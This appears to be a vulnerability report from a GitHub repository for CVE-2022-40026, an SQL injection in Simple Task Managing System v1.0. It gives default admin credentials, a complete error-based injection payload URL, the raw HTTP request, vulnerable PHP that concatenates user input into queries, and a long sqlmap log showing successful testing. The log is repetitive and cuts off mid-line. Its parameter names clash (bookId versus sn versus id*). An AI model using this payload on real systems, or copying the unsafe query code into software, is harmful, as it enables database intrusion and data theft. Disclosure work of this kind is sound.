

🔑 main ▾

...

CVE_HUNTER / CVE_09 / 2022-09-01-SQL1.md



xidaner add CVE number

🕒 History

👤 1 contributor

☰ 40 lines (29 sloc) | 2 KB

...

CVE-2022-40026 Simple Task Managing System - SQL injection

Simple Task Managing System v1.0 exists to contain a SQL injection vulnerability via the bookId parameter at /board.php

username:admin password:admin ----> {ip}/board.php

Supplier: <https://www.sourcecodester.com/php/15624/simple-task-managing-system-php-mysqli-free-source-code.html>

/board.php has SQL injection

Payload: <http://localhost:80/cve/Task> Managing System in PHP/board.php?sn=admin1' AND ROW(6066,2526)>(SELECT COUNT(*),CONCAT(0x7171787a71,(SELECT (ELT(6066=6066,1))),0x71787a6a71,FLOOR(RAND(0)*2))x FROM (SELECT 5176 UNION SELECT 2058 UNION SELECT 2430 UNION SELECT 5444)a GROUP BY x) AND 'MkOa'='MkOa

SQL injection because \$shortName can be closed

```

<?php
$sql = "SELECT * FROM 'projects' WHERE 'Short name' = '$shortName'";
if($result = $connection->query($sql)){
    $rowCount = $result->num_rows;
    if($rowCount>0){
        $row = $result->fetch_assoc();
        $result->free_result();
    }
    else{
        echo 'span class="error-msg">sql error</span>';
    }
}
}

?>

<div class="container task-list-container">
    <h1>Task list</h1>
    <h2>Current project: <strong><?php echo $row['Full name']; ?></strong></h2>
    <div class="lg-6 whoami">
        <?php echo 'Logged in as <strong>'. $_SESSION['user'] . '</strong> <a href="logout.php">[logout]</a>'; ?>
    </div>
    <div class="lg-6 createBoard">
        <a href="newTask.php?sn=<?php echo $shortName ?>" class="btn">Create task</a>
    </div>
    <div class="lg-12">
        <a class="back" href="index.php"><--- Back to projects</a>
    </div>
    <div class="task-list">
        <div class="lg-3 backlog">
            <h3>Backlog</h3>
            <div>
                <?php
                $sql1 = "SELECT * FROM tasks WHERE project_short_name = '$shortName' AND state = '1'";
                $sql2 = "SELECT * FROM tasks WHERE project_short_name = '$shortName' AND state = '2'";
                $sql3 = "SELECT * FROM tasks WHERE project_short_name = '$shortName' AND state = '3'";
                $sql4 = "SELECT * FROM tasks WHERE project_short_name = '$shortName' AND state = '4'";

                if($result = $connection->query($sql1)){
                    $projectsCount = $result->num_rows;
                    if($projectsCount>0){
                        while ($row = mysqli_fetch_array($result)) {
                            $tn = $row['project_task_num'];
                            echo "
                            <div class='task-box'>
                                <a href='task.php?sn=$shortName&tn=$tn' class='task'>
                                    <h4>". ($row['task_name']) . "</h4>
                                <div>
                                    <span class='task-id'>". $row['project_short_name'] . "-" . $row['project_task_num'] . "</span>

```

Payload

```

GET http://localhost:80/cve/Task Managing System in PHP/board.php?sn=admin1' AND ROW
Host: localhost
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="94"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, lik
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate

```

Connection: close

[<--- Back to projects](#)

```

[11:03:20] [INFO] checking if the target url content is stable
[11:03:22] [INFO] testing if the target url content is stable
[11:03:23] [INFO] target url content is stable
[11:03:24] [INFO] testing if url parameter 'id*' is dynamic
[11:03:26] [WARNING] URL parameter 'id*' does not appear to be dynamic
[11:03:28] [WARNING] heuristic (basic) test shows that url parameter 'id*' might not be injectable
[11:03:31] [WARNING] heuristic (css) test shows that url parameter 'id*' might be vulnerable to cross-site scripting (XSS) attacks
[11:03:32] [INFO] testing for SQL injection on url parameter 'id*'
[11:03:33] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:03:35] [WARNING] reflective (value) test found and filtering out
[11:03:35] [INFO] url parameter 'id*' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string='admin!')
[11:03:40] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
[11:03:41] [INFO] it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [y/n]

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [y/n]

[11:04:07] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[11:04:08] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[11:04:09] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[11:04:10] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[11:04:11] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID.SUBSET)'
[11:04:12] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (GTID.SUBSET)'
[11:04:13] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE or HAVING clause (GTID.SUBSET)'
[11:04:14] [INFO] testing 'MySQL >= 5.7 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON.MEMO)'
[11:04:15] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON.MEMO)'
[11:04:16] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[11:04:17] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[11:04:18] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[11:04:19] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[11:04:20] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[11:04:21] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[11:04:22] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[11:04:23] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[11:04:24] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[11:04:25] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[11:04:26] [INFO] url parameter 'id*' is 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[11:04:27] [INFO] testing 'Generic inline queries'
[11:04:28] [INFO] testing 'MySQL inline queries'
[11:04:29] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[11:04:30] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[11:04:31] [CRITICAL] considerably lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[11:04:32] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[11:04:33] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[11:04:34] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[11:04:35] [INFO] testing 'MySQL >= 5.0.12 stacked queries (benchmark - comment)'
[11:04:36] [INFO] testing 'MySQL >= 5.0.12 stacked queries (benchmark)'
[11:04:37] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:04:38] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:04:39] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:04:40] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:04:41] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:04:42] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:04:43] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:04:44] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:04:45] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:04:46] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:04:47] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:04:48] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:04:49] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:04:50] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:04:51] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:04:52] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:04:53] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:04:54] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:04:55] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:04:56] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:04:57] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:04:58] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:04:59] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:00] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:01] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:02] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:03] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:04] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:05] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:06] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:07] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:08] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:09] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:10] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:11] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:12] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:13] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:14] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:15] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:16] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:17] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:18] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:19] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:20] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:21] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:22] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:23] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:24] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:25] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:26] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:27] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:28] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:29] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:30] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:31] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:32] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:33] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:34] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:35] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:36] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:37] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:38] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:39] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:40] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:41] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:42] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[11:05:43] [INFO] testing 'MySQL >= 5.0.12 and time-based blind (query SLEEP)'
[
```